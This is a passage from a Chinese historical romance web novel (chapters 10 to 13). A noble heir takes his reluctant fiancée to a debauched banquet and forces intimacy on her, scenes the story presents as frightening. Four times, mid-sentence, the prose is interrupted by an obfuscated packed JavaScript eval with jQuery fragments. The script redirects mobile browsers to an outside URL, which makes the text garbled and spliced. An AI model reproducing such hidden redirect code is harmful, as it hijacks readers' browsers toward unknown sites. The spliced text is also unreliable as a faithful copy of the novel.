身为世家贵公子,必修之一便是礼仪,当街进食实在有失体面。好歹坐下来,而不是随便地站着! “世子,那个……银霜糕不能当饭吃,我知道附近有一家酒楼,您要去吗?”不一会儿,薛含桃也意识到不妥了,因为糕点铺子本就不大,世子的存在感又太足,买糕点的人在看他们,路过的人更是侧着头不走了! 薛含桃秘密地吸了口气,而且,她也饿了,肚子扁扁的。 “随你。”崔伯翀吃完第三块银霜糕,抬脚走出糕点铺子。 “那家酒楼叫满香楼,果儿姐姐买过里面的吃食,我和阿凶都很喜欢。”薛含桃一只手被他牵着,一只手拎着重量不轻的油纸包,看到罗承武又迟疑地道,没几步路乘马车去不方便。 “我在此处等着世子。”罗承武的眼力不错,窥见世子的脚步未变,说道自己不跟着去。 崔伯翀闻言,没什么反应,像是把人当作了空气。 “大人,您可以一起去,马车请这里的伙计帮忙看着就行了。”薛含桃还记得这个面黑却意外好说话的护卫,恭恭敬敬地开口。 “大人?”崔伯翀听到她对罗承武的称谓,眯起了眼眸笑看过来。 “……薛娘子,我姓罗,名承武,您直接唤我的名字即可。”关于眼前的小姑娘,罗承武心头的疑惑虽然很重,不明白她为何从宫中跑出,又为何与世子看起来颇为熟稔,但这些都不妨碍他察言观色改变对薛含桃的态度。 “这里的点心闻起来颇为美味,我也想尝一尝。”罗承武利落表示他想留下来品尝点心。 “这…这不太好吧。”薛含桃犹犹豫豫,宰相门前七品官,她知道罗承武肯定不仅是一个护卫一个车夫,自己怎么好直呼其名。 “你要磨蹭到什么时候。”这时,崔世子表情不善地挑了下眉,耐心即将告罄。 手上稍稍用力,薛含桃被他拽着往前走了一大步。 她明白世子心情不佳,老实下来,乖巧地指路。 绕过一条狭窄的巷子,再拐到宽敞的大街上,薛含桃停在一座两层的木头建筑,上面的牌匾写着满香楼三个大字。 “世子……”她轻轻喘了一口气,想说地方到了。 “唤我郎君。”崔伯翀跨过门槛,盯着酒楼内一派热闹的场景。 地方依旧不大,摆了六七张的木头桌子,差不多都坐满了,空气中弥漫着食物的香气。 父母带着孩童,朋友相聚在一起,他们说笑,吃饭,饮酒,角落里还有个说书人,意气风发地讲述着保家卫国悲欢离合。 崔伯翀阖下眼皮,神色冷清,像是这个世界的闯入者。 “小娘子快请这边坐。”明明是两个人,酒楼的伙计最先招呼的却是看起来有些狼狈的薛含桃,“……还有这位郎君。” 伙计引着他们到一处无人的木桌,薛含桃将手中的油纸包放下,赶紧擦了擦凳子,“世…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234178|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎君,干净的,您快坐。” 崔伯翀嗯了一声,听伙计热情洋溢地报着菜名。 “一道烩鲈鱼,一道蒸鸭,再要一碗梅花汤饼。”薛含桃悄悄地看身边的人,见他坐下后就不出声,自作主张点了几道菜肴。 烩鲈鱼和蒸鸭还有银霜糕给世子吃,她自己吃最便宜的汤饼。 没办法,她身上的银钱是真的不丰。昨日才赚来的二两银子,给果儿姐姐一两留作家用,剩下的一两银子买了三斤多的银霜糕,现在只剩下不到三百文。 都城河鲜珍贵,一道烩鲈鱼就要一百文,所以……她真的不是吝啬。 伙计上菜的空隙,薛含桃用桌上的热水细心地将碗筷都洗刷一遍,等到水干了,才一脸诚恳地放在崔世子的面前。 接着烩鲈鱼端了过来,她又自然地将其中的几根大刺剔出,和他说,可以用了。 小姑娘殷勤的举动暗中吸引了不少人的目光。当然,崔世子这等绝世的风姿气质不可能被埋没,大部分人一开始还是冲着他来的。 有几人觉得他眼熟似是在何处见到过,想了许久都未曾想明白,最后只是和同伴夸赞大户人家的侍女照顾人细致入微。 一般人都不认为小娘子和郎君可能是有情人的关系,无他,和容貌传世的郎君比起来,小娘子实在是太普通了。 再看也只眉目有两分灵巧罢了。 薛含桃没有发现有人在暗中议论他们,梅花汤饼端了上来,她捧着碗吃的很香,再往身旁一看,世子也正慢条斯理地品尝鲈鱼和银霜糕,倒是那道蒸鸭没有动。 她小声询问,崔伯翀摇摇头,淡淡道自己不喜欢吃鸭子。 “那我吃一只鸭腿,”薛含桃想到了家中的大黑狗,弯着眼睛,“剩下的都留给阿凶。” 至于果儿姐姐,她细心观察,她不常吃剩菜。到时候抄书赚了钱再给她买一只鸭子好了。 崔伯翀的眸中映着她心满意足的笑脸,忽然凑上前,手指按住了她的眼尾。 “郎君!”薛含桃被他的动作吓了一跳,眼睛随之睁大。 她的脸看起来就更加的瘦小了,崔伯翀的一只手可以完全覆盖,还绰绰有余。 “我救了你的一条命,现在你告诉我,活着的滋味好吗?”男人在她的耳边低语,像是情人间的呢喃。 “活着……当然很好,可以吃到饱,可以大声笑,还可以和喜欢自己的人生活在一起。” 被他靠的如此之近,薛含桃的耳尖通红,说话时压根不敢看他。 活着怎么会不好呢?当初她眼前一片晦暗的时候,她都不舍得去死。 “这样啊,那你就继续好好地活着吧。”崔伯翀微微垂眼,看见她脸上的憧憬,鼻尖细小的绒毛,以及伶仃细瘦的脖颈……“我会教给你,如何活着。” 他话锋陡然一转,是薛含桃听不懂的低语。 活着,还需要人来教吗? 她一脸茫然不解,正要问个明白,可崔世子已经恢复了面无表情,显然不愿意搭理她了。 一直到从满香楼离开,再到他乘上马车。 他才勉强开了尊口,和她说了两个字。 “等着。” 11. 第十一章 等着什么,要等多久,薛含桃通通不知道。 她回到赁居的小院,大黑狗很高兴,满意地围着她转圈。薛含桃将尚有热意的蒸鸭放进它的陶碗里面,转头告诉果儿她被陛下赐婚给崔世子的事。 果儿更是欣喜若狂,兴奋地一蹦三尺高,不住地双手合十,拜谢上天,比得知宫中薛妃平安生下小皇子晋升贵妃时还要夸张。 “娘子一定是老天爷的亲闺女!”果儿惊奇的目光简直像是不认识她这个人,定国公世子诶!毫不客气地说,全大周的女儿家都做过嫁给他的梦! 她家娘子这是什么运气啊,也太让人羡慕了。 薛含桃被果儿拜神的举动逗笑,两只眼睛弯成了月牙,看起来也是很欢喜的。 然而,这时,埋首在陶碗中的大黑狗却像是察觉到什么,忽然停下了进食。 它低呜一声,走到小姑娘的面前,抬起头,舌头轻轻地舔舐她的手背。 “阿凶。”院中的小姑娘紧紧抱住了大黑狗的脖子,嘴唇翕动,很小声地说着大黑狗听不懂的话,“我做错了事对不起世子,所以无论他要我做什么我都会答应。” 果儿沉浸在喜悦中,并未注意一人一狗的异样。或许她便是看到了也觉得娘子是高兴坏了。 能够嫁给定国公世子,这是多少人梦寐以求的?更何况还是陛下赐婚,做世子的正室夫人! “过了今日,娘子的好日子才算是真的来了。”果儿感慨不已,仿佛已经看到了尊荣富贵的未来。 其实,她说的并无错处。 因为,就在赐婚圣旨颁下的第二天,薛贵妃将柔仪殿的掌事姑姑胡茵儿派出了宫,先是赏赐下让人眼花缭乱数都数不清的首饰布料,接着又表示北城有一处大宅,让薛含桃搬进去。 薛含桃摇摇头,拒绝了薛贵妃的好意。 当即,胡茵儿的脸色微变,似是认为她不知好歹。 “阿姐说过宫里宫外都不太平,还是低调一些……我住在这里无人知晓无人打扰也挺好的。”薛含桃不想太劳烦坐月子的堂姐,“阿姐的东西给我够多了,真的足够了。” 阿姐付出多,她能够回报的却很少,薛含桃的一颗心悬在半空总不踏实。 胡茵儿因为她的这些话不停皱眉,差一点就脱口而出小家子气上不得台面。 不过等到回宫后禀报薛贵妃,薛贵妃却没有如胡茵儿所料动怒,而是略微思索了一番,命人将薛含桃如今住的小院买了下来。 “小桃倒是提醒了本宫,如今本宫和皇儿正处在风口浪尖,要更加小心,更加冷静,直到小桃嫁进定国公府,皇儿被册封太子的那一天……崔皇后和崔家,还有崔世子…到底什么态度…本宫捉摸不透……” 薛贵妃觉得要再低调观望一段时日,故而薛含桃的生活和从前相比依旧没什么变化。 住着只有两间大屋的小院,一只大黑狗和侍女果儿陪着她,周围的邻居还是那些普普通通的人。 她离都城中有权有势的上层太远,赐婚圣旨引发的轩然大、波仿佛和她这个当事人没有一点关系。 当然,她自己也感受不到。 连着几日,薛含桃抄书卖书,去封大娘子家的糕点铺子买点心,去肉铺买肉,去满香楼买吃食,生活平静而规律。 恍惚间,她差点认为赐婚不存在,世子那日和她说的话也是假的。 他们没有牵手,没有坐在一张桌子上,他也没有和她说等着。 一切只是薛含桃的幻想。 - 又是一天,薛含桃快要淡忘掉心中的忐忑不安时,走在路上,糕点铺子里的封大娘子叫住了她。 “薛妹妹,铺子里新做好了几斤银霜糕,你还要不要?送给你那位郎君可以啊。”封大娘子显然是从伙计口中听说了她身边有一位俊美郎君,时不时就会打趣一番。 “大嫂不要开我玩笑了,那是我的……恩人。”薛含桃解释过很多次,也习惯了封大娘子眼中的怀疑,毕竟,伙计肯定也复述了那日他们两人牵着手的场景。 “好好好,我不说,不说了。”封大娘子笑,问她银霜糕还买不买。 “嗯,买一斤吧,果儿姐姐挺爱吃的。”薛含桃垂下头,从荷包里面掏出了一小角银子。 拿到伙计递给她的油纸包后,她转身就走,装作没听到身后封大娘子意味不明的笑声。 一层油纸包不住银霜糕的香气,薛含桃深深嗅了一口,脑袋随之往下耷拉,走起路来也无精打采。 她已经不敢再偷偷去定国公府门前了,因为没脸。 世子若是将她遗忘也……是好事吧?也许是她听错了,世子根本就没有和她说让她等着的话。 薛含桃低着头往前走,然后,两匹黑马迈着优雅的步伐停在她的面前。 薛含桃怔怔地望去,黑马之后是一辆四角均镶嵌着汉白玉的马车,比之前她坐过的那辆更加华美,也更加宽敞。 “薛娘子,请上车。”罗承武的目光落在她身上,亲自为她放好脚凳。 ……她愣着,不敢动。 “世子在车中等着您,准备带您去一个地方。”罗承武走到她身边,低声说道。 “去……去哪里?” “这,您便要询问世子了。” 薛含桃硬着头皮踩上脚凳,走进去才发现这辆马车的车厢足以和一间房屋媲美大小,居然还用屏风分隔了内外。 她一时瞧地出迷,没有注意屏风后有一双眼睛正在看她。 直到她绕过屏风,斜斜倚在榻间的男子映入她的眼帘。 薛含桃完全呆住。 今日的崔世子和以前仿佛都不一样,不再是优雅的从容的,他没有束冠,乌黑的长发用一条发带系着散落在肩上。一件墨蓝色的宽袖丝袍被他穿的松松垮垮,从薛含桃的角度,可以看到一些紧实的弧度…… 她的小脸顿时通红,脑袋死死地垂在胸前,不敢随便看。 “过来。” 崔伯翀招手唤她,语气和从前一般,是有些冷淡的。 薛含桃乖乖地靠近他,脑袋依旧垂着,接着她手中的油纸包被拿开,下巴也被捏着抬起来。 “从现在开始,我说你做。记得,无论是什么,都不得反抗。听懂了吗?小桃子。” “……嗯,我都听郎君的。” 薛含桃表情诚恳,只要世子不再生她的气,她什么都愿意做。 “真是乖巧啊。”崔伯翀轻飘飘地笑了一声,从身旁拿出一物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234179|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看也不看扣在她的脸上。 “屏风外面的盒子里有你的衣服,换了。”他又冷声道。 “哦,好。”薛含桃没问自己为什么要换衣服,她看到世子已经阖上了眼睛闭目养神,红着脸飞快跑到了屏风的另一侧。 打开盒子,也不管衣服是什么模样就赶紧换上。 其实,她更好奇的是脸上的东西,手指摸了摸,觉得像是镂空的面具,微微放心。 “郎君,我换好了。”薛含桃的动作很快,不一会儿就从屏风的另一侧出来,老实站在崔世子的面前。 崔伯翀抬起眼皮,女子穿着一件暗红色的长裙,肩膀处的锁骨一层轻纱若隐若现,布帛勾勒出她纤细的腰肢,她身体朝自己站定,下裙的流苏微微晃动。 但最引人注目的地方是她脸上的黄金面具,镂空的赤金纹路完美地契合少女的轮廓,露出一双清澈的眼瞳和饱满的唇瓣。 崔伯翀盯着她,缓缓起身走了过去。 “接下来,不要说话。” 他搂着她的腰肢,带她踏入一个她即将要面对的世界。 都城中权贵们的世界,一个充斥着血腥、暴力和淫、欲的地方。 想要活着,要看清那里,也要……看清他。 - 他们身在一处庄园。 薛含桃紧紧闭着嘴巴,眼睛从走下马车的那个瞬间就没有空闲过。 从精美的雕梁画柱到娇艳美丽的花草树木,从卑微顺从的奴仆到跳舞奏曲的舞姬乐师,从衣冠楚楚的华服男子再到满口之乎者也的文人雅士……全是她未曾见过的。 一开始,她想要惊叹,这肯定是戏文中描写的宴会场景。 可是当他们被侍从恭敬引着再往里进时,薛含桃发现了不对。 她看到奴仆成为了影子,舞女褪、光了衣服,乐师们趴在了地上,华服男子学着狗叫,文人雅士拍着马屁。 被这些人簇拥在中心的是寥寥几个青年,模样有好有坏,可有一点是共同的,那就是他们眉间的傲慢与肆意。 察觉到他们看过来的视线,薛含桃浑身僵硬,小心翼翼地往崔伯翀靠近,更近一些。 她依旧不知道这是什么地方,但她知道挨着世子就可以安心。 “千请万请,世子今日可算是大驾光临了。”坐在主位的男子似是这座庄园的主人,他听到侍从禀报,笑意盈盈地起身迎接。 其他人也都跟在他的身后,一一行礼表示敬意,脸上俱带着与有荣焉的表情。 “在家待着,无趣。”崔伯翀漫不经心地扫了一眼,随后坐在了让出来的主位上。 薛含桃亦步亦趋地跟在他的身边,十分紧张,不知道是该站着还是坐下,他的手臂轻轻一带,她所料未及有些惊慌地倒进了他的怀里。 隔着一道面具,薛含桃看到了那些男子们脸上放、荡的笑容。 “世子,您身边的这位小美人看起来动作还很生疏嘛。” “前些时日新收的小侍,尚不懂规矩。” 薛含桃听到熟悉的轻笑声,呆呆地回不了神,然后一道高大的阴影覆下,她的唇角被舌尖拂过咬了一口。 “不过,胜在乖巧听话。” 她听到他笑着说。 12. 第十二章 她被亲了,世子说自己是他新收的小侍。 薛含桃的脑子一团糟,她不会思考,不会反应,变成了木头做的人。 直到一只手掌从她的腰间缓缓上移,力道很轻地拍了拍她的背,这一点点安抚的意味像是喂她喝下了救命符水,将她的灵魂重新拉回躯体。 薛含桃记起了一切,鼓起勇气继续观察眼前的场景。 这时候她仿佛明白了世子为她戴上面具的用意,只要不被看到,只要不开口,没人能发现她的……彷徨与委屈。 庭中,有资格坐着的几个青年仍旧在哄笑。 “乖巧听话有什么用,能让人欲罢不能才是真的…可人。” “不错,女人嘛,除了娶回家里的那个,其他还不都是这个用处。” “说到娶回家里,我听说陛下为世子赐下一桩婚事,颇为惊讶,薛贵妃之妹,那不就是一个平民女子吗?” 说到她了,场面有了一瞬间的寂静。 薛含桃忍不住咬紧了嘴唇,内心深处悄悄生出一分期待,虽然她自己也不知道在期待着什么。 “不说这些,我今天前来带她见见世面,顺便学点规矩。”面对几人暗含试探的目光,崔世子恍若未觉,只顾把玩着手下娇软的躯体。 只见男人筋骨分明的手指顺着骨骼的方向不停摩挲,最后停留在少女背后展翅欲飞的蝴蝶骨,他像是终于满意,一遍遍地抚弄,忽轻忽重。 掌控着她所有的血肉。 从闻绍的角度看去,戴着面具的红衣少女变成了一只真正的蝴蝶,纤细灵巧,可惜她落入了猎人的掌心,无力挣扎的姿态可怜又靡丽。 他的呼吸一重,目光便忍不住停留在少女的身上,然后,一道冰冷刮骨的视线刺来,令他顷刻恢复理智。 闻绍不敢再看,端起了酒杯开口大笑,“哈哈哈,世子难得有兴致,今日怎能不让世子尽兴而归,刚好我身边也养了一个小宠,不仅听话,讨人喜欢的功夫也很熟练。” “对,对,该让小美人见识见识,以后也好服侍世子。” “哈哈哈,闻兄开口,我们今日也开开眼界,你们还不快过来。” 在其他人的附和声中,薛含桃勉强支起了脑袋,看见之前见过的舞女们一个个上前,依偎在那些男子们的身旁。 而为首的庄园主人,或许该称呼他为闻郎君,仅仅是扬起手示意了一番,很快,庄园的侍从就带来了一名女子。 看起来十七八岁的年纪,模样比春日的花儿还要鲜妍娇嫩。 薛含桃没有见过比她更美丽的女子,仿佛是芙蓉花化形,漂亮的不似凡人。 她一边在心中赞叹一边又不免自行惭秽,只有这样的女子才配得到别人的喜爱吧。而她,只能说,幸亏脸上戴着面具…… 似是感觉到了她的神游天外,一只泛着凉意的酒杯被递到了她的手中。 薛含桃的手指被迫握住酒杯,当即被冰的一哆嗦,这时她才留意到席间的酒壶都在冰盆中浸过。 她不知道世子让她拿着酒杯做什么,难道是要她喝下去? 伏在膝上的少女微微仰起头,眼中闪过肉眼可见的迷茫,崔伯翀目光盯着,用力捏住了她的脖颈。 他说道,声调意味不明,“专心一些,以后用到的时候多着。” 薛含桃下意识地想询问用到什么,下颌便被强硬地转去了一个方向。 还是那名美丽的令人惊叹的女子,薛含桃的目光中,她小意地趴伏在庄园主人的腿边,又不像是芙蓉花化形了,而是温顺的一条蛇。 蜿蜒往上,柔若无骨,饮下一口酒,风情万种。 再然后,薛含桃的眼神变得呆滞,她眼睁睁看着女子将酒壶中的酒液倾倒在脸上,身上……令人汲取…… 酒香弥漫,此起彼伏的调笑声冲击着她的耳膜,她握紧了手中的酒杯。 难道? “取悦……也是你需要学的。”崔伯翀对庭中男女混乱的场景视若无睹,他垂下眼皮,静静望着薛含桃眼中的惊恐。 像是在等着她的动作。 不,不可以!薛含桃在心中吓得大声尖叫,今日之前,她和异性最亲昵的接触也只是牵着手。 更加委屈,她虽然知道自己配不上世子,也愧疚于让世子不得不娶她,但,但她不想要被如此对待。 不想……她的眼眶发酸,眼尾也变得红红的。 这就害怕地哭了啊,可之后该怎么办? 崔伯翀低声喟叹,想起她抱着那条老狗拼命想要活下来的眼神,她老实巴交地说要报恩,她可怜兮兮露出羞愧的表情,又觉得索然无味。 崔伯翀眼神一凉,正欲起身带她离开,她呜咽着端起酒杯,朝着他笨拙地贴近。 她只能做到这么多,也做到这么多了。 薛含桃颤颤巍巍地想着,看到他凝视自己的眼瞳深黑一片,整个人既慌张又害怕,世子肯定会觉得她很笨吧。 可是她已经很努力了。 “凭你,确实也只能做到这一步。”崔伯翀看了她一会儿,语气平静地开口。 正当薛含桃以为他失望透顶时,他伸手接过酒杯一仰而尽,而后掐着她的下颌,将冰冷的液体一点点渡入她的嘴中。 冰凉的酒水,炽热的气息。 从轻柔辗转到放浪形骸,薛含桃已经无法再正常呼吸,她的脑子变成了一团浆糊。 此时的她仿佛是一只迷途的羔羊,被笼罩在白雾之中,看不清也找不到路。 耳边似乎有人在笑,可她同样听不明白。 - 混乱结束后,薛含桃是被抱着回到了马车里面。 从头到尾她一言不发,嘴巴牢牢地闭着,带着显而易见的委屈。 罗承武看到了她这副模样心中立刻咯噔一声,可是他不敢问,只是恭敬地垂首,等待示意。 “从今日开始,我的身边多了一个小侍。”崔伯翀将人放下,淡声吩咐。 罗承武略微思索,又看了薛娘子一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234180|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,表示自己明白了。 闻言,崔伯翀嗯了一声,便不再开口。 马车安静地行驶,朝着一开始出现的地方而去。 车厢里面更加寂静,落针可闻。薛含桃默默地将自己缩在角落里面,摘下了脸上的黄金面具。 她摸了摸面具的纹路,动作窸窸窣窣,还想把身上的衣裙换下来。 马车内,崔世子蓦然朝她看来,她身体一僵不敢再动。 “面具和衣服都是为你做的,我不缺这些也不需要。” “可是,黄金……很珍贵。”薛含桃嗫嚅着嘴唇,仍旧不敢看他,她怕自己一抬头就想起他放纵亲、吻自己的画面。 她心目中的世子是高贵无暇的神明,不该是今日……小姑娘欲言又止,唇张开又闭上。 她的表情很好懂,一早就叫人看个明白。 崔伯翀轻轻嗤笑,手指解开她之前放好的油纸包,捻出一块银霜糕。 咬一口吞下,他的表情冷淡,“先前就和你说过,我不是神,神不会娶妻也不能生子。” 娶妻!因为她! 羞愧又重新涌上薛含桃这个老实姑娘的心头,她顿时蔫巴,慢慢说了一声对不起。 “一句道歉无用。你要记得,我娶了你后,你该做什么。” 崔伯翀难得心中生出些愉悦,想道就像今日,学会取悦他。 虽然她笨拙,胆小,话也说不明白,是不讨人喜欢……但她只需要讨好他一个人。 讨好他,拥有了他的遗产,她会比任何人活的自在痛快。 那时,她可以做任何她想做的事。 “我知道。赐婚无法改变的话,嫁人后要做什么,我知道的。” 薛含桃怔怔地说道,她并非不通人事。 曾经,她是有婚约的。 “改变不了,婚事已成定局。”崔伯翀好像朝她靠近了一些,神色略有玩味,“哪怕我的身边多出一个小侍。” “……知道了。”薛含桃终于认了命,不再想还有没有改变的法子。 只是她紧紧抿着的唇瓣显得不大情愿,也更加委屈。 因为,今日的世子让她觉得很可怕。 如果以后,他都和今日一般,掌控她的身体,令她不能呼吸,令她无法思考。 她承受不了。 不仅承受不了,而且…… “郎君,您以后不要这样了。” 不要带她去那里,不要那么对待她,也不要变成和庄园主人一样的人。 高高在上地端坐,衣冠楚楚,光鲜亮丽,可内里却连薛含桃家乡大字不识的村人都比不上。 他们说起女子的调笑语气很恶心,肆无忌惮命令的模样很丑陋,后来,更是如同野兽般荒-唐-淫-浪,令人作呕。 薛含桃仍旧缩在角落里面,想到方才亲眼看见又经历的一切,她控制不住身体的战栗,用尽了力气说了这一句话。 她希望他永远是华美的魏紫,天上皎洁的明月。 13. 第十三章 她说不要。 失去了黄金面具的遮挡,崔伯翀更加清楚地看到了她垂下的眼睫毛也跟着身体在发抖,像是受到惊吓的蝴蝶飞快扇动翅膀。 多么的可怜,又是多么的抗拒。 不错,她的乖巧顺从是因为愧疚,她的愧疚是因为自己与她有恩,而不是因为她发自内心地想取悦他,献出她的血肉与躯体。 一旦发现神明有污,即便山间的野草,也不情愿栖身相伴,只想逃地远远的。 迫不及待。 一瞬间,崔伯翀心头的愉悦化为虚无。他冷声吩咐马车加快速度,眼睛里面不再有一分波澜。 甚至,当少女怯怯地将衣服和黄金面具一起物归原主时,他也没有丝毫反应,仿若面前无人。 两匹黑马架着马车又重新回到普通有些狭窄的街道,薛含桃踩着脚凳落地,除了眼尾和脸颊都泛红,看起来也没有别的变化。 也不对……少女的唇瓣像是经过了一番润色,朱若丹樱,妩媚动人。 她闷头往前走,瘦小的背影似乎比初见时还要不起眼,渐渐地和灰扑扑的土地融合在一起。 罗承武不禁猜测发生了什么,方才世子的语气也有些怪异。 “追上去,把这个给她。” 马车的车厢中突然伸出了一只手,冷白修长,映衬之下,泛着油光的黄色纸包实在太过粗鄙简陋。 这不是之前世子颇为喜爱的糕点吗? 罗承武没有询问,只是大步向前,追上人,将油纸包递给她。 小姑娘的脸色从微红变得苍白,她接过油纸包,扯出一个极为难看的笑容。 “世子不喜欢了啊,那我……我以后不买了。” 银霜糕很贵的,一斤要两百个铜板。 回到小院,果儿和大黑狗着急不已,已经想要出去找她。见到她提着一个油纸包,果儿拍了拍胸口,一脸疑惑地问她去了何处。 “封大嫂说娘子买了糕点就回家了,街头那个郑婆子又胡说,非要污蔑娘子您和贼人混在一起,我看她才是个贼老太婆。” 果儿不满地嘟囔,大黑狗也气势凌人地叫了一声,都讨厌三番两次找事的郑婆子。 “不是贼人!是救了我和阿凶的恩人,他很好很好的。”薛含桃听到有人把世子污蔑成贼人,立刻反驳,那两个字无论如何和世子扯不上一分关系。 “原来是娘子的恩人呐,那我就放心了。”果儿是知道这个恩人存在的,问到了自家娘子的去向就不再关心。 她虽心大,但能在宫中混到薛贵妃的面前,当然有可取之处,什么时候该问什么时候点到为止,她心知肚明。 “咦?银霜糕,娘子,您第一次舍得买这么贵的糕点。”果儿已经盯上了油纸包,打开一看惊讶地直瞪眼。 “闻着很香,伙计说用汴州特产的银桂制成,我就买了。”薛含桃喃喃说道,明白自己又狠狠惹怒了世子。 所以他不愿意看她一眼,不愿意和她说话,也不愿意再吃她买的糕点了。 “怎么才能讨一个人的喜欢呢?”她不想要用今天见到的方式,她太笨了,也不美丽,学不会。 “娘子想要讨谁的喜欢?”果儿边吃点心边问道。 “未来的……夫君。”薛含桃的语气顿了一下,带着无尽的羞惭。 是这样的没错,过不了多久,世子就会成为她的夫君。 “啊,这个,其实,宫中的嬷嬷会教导。娘子若想早一点知道,不妨去书阁……”果儿的目光落在了薛含桃每日抄写的书籍上。 闻言,薛含桃认真点头,表示自己记住了。 “明天,我就去书阁找果儿姐姐你说的那种书。” “咳,好,我在家看着狗,就不和娘子一起去了。” - 薛含桃是一个愿意听人话的老实姑娘,为了换一种方式取悦世子,第二天她一大早就出了门。 晨光熹微,天气没有先前那般热,加上她本身的体质温凉,一路走到书阁,薛含桃的身上连一丝汗意都没有。 她去的很早,书阁的伙计正打着哈欠开门。 看到她,伙计一惊,仔细打量她的脸色,心道莫不是这姑娘发现了掌柜高价卖出去她抄写的书过来兴师问罪……这才过了一日,她不可能再来交书。 “薛娘子,您昨日才来过,今天怎么…这么早只有国子监和太学的学生过来。”伙计笑着询问。 “我快要成婚了,家中姐姐说这里有一种书,可以使夫妻感情和睦,我想买些回去。”她十分诚实,礼貌地对伙计说明自己的来意。 要买书,可以让夫妻生活幸福的一种书。 伙计当即呛了一口水,不敢置信地又问了一遍,“薛娘子不是在说笑?” 薛含桃摇头,模样有些低落,“我不会取悦人,惹他生气了。” 闻言,伙计的脸色变得微妙起来,对面前的小姑娘不免生出些同情。原来是这样,薛娘子来过这里许多次,他们都知道她性子朴实,不会说谎。 “那种书我们这里当然有,只是薛娘子,我得和您叮嘱一番,您买了书千万要拿好,莫要被外人看到。” 伙计左右看了看,此时来的客人寥寥无几,便领着薛含桃静悄悄地走向拐角的书架。 之后,他便脚步飞快地离开。 留下薛含桃一个人对着书架,手指抽出了最厚的一本书,犹豫了两息,又抽出一本。 统共两本书,她觉得应该足够了。 怀揣着几分好奇,她先翻开了第一本,只一眼,她的小脸红个彻底,整个人浑似头顶冒烟。 果儿姐姐说的书竟然是春-宫-图! 她当然也知道这个东西……可是……薛含桃不敢再抬头,急匆匆地抱着两本书就往柜台去,连自己撞到了人都没感觉。 “我买两本。”抖着手将一角碎银递过去,她也没看送回来的铜板,胡乱一抓装进荷包里面。 仓皇而出。 她的身后,一个身材瘦削的青年静静地注视着她远去,回头,他脸上露出令人如沐春风的笑容。 “方才那名小娘子,是姓薛吧?” “郎君识得薛小娘子?她经常抄书往我们这里送,每次能赚不少钱呢。” “当然认识,若真是她,那么前些时日,她还往书阁送了本《诗经》吧。” 宋熹眼眸深邃,回想起从前那些清贫却自在的时光,他的心中有些酸涩,还有些怀念,还有些愧疚……只没有后悔。 但无论如何,他决定和她见一面。 - 薛含桃逃一般地跑回了小院,中途廖家娘子和她打招呼,她只急急应了一声,唯恐被人看出她怀中抱的东西是什么。 “娘子您回来了?那个,我去街上买些吃食,先走了。”果儿倒是乖觉,知道自己出了个馊主意,一看到她,脚底抹了油,拿了个荷包往街上去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234181|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛含桃关好院门,满头大汗,脸颊两侧的红色极其显眼,大黑狗以为她很热,轻轻咬着她的裙角让她进了屋子。 她坐在凳子上好一会儿,喝了两口水,脸上的热意才褪下一些。 两本书被她放在桌上,还没来得及藏起来,院门传来了“笃笃笃”的敲击声。 大黑狗的两只耳朵竖了起来,但停留在原地没有上前吼叫。 来人不是生人,薛含桃便以为是果儿姐姐粗心少拿了东西,于是直接走过去将门栓拿走。 院门开了,一个熟悉又格外陌生的面庞出现在她的眼前。 薛含桃顿了顿,唤了一声“兄长”,对他的到来似乎不是很意外。 毕竟,刘县令一家也在京城,而且认出了她。 “小桃,不请我进去坐一坐吗?”宋熹从上到下将她仔细看了一遍,人和从前所差无几,不过眼睛亮了一些。 薛含桃侧身,让他进入院中,却接着站定不动,没有请他进屋的意思。 “这里的房屋和摆设不错,阿凶也在,”宋熹看到了大黑狗,笑了一声,“你们都活着,师父和师娘九泉之下可以放心了。” 薛含桃一声不吭。 “你还在怪我?”宋熹脸上的笑容消失,忍不住为自己解释,“如果我不和你退掉婚约讨好刘家父女,那个监生的名额绝对不会落到我的头上,那件事也不会轻易平息。” 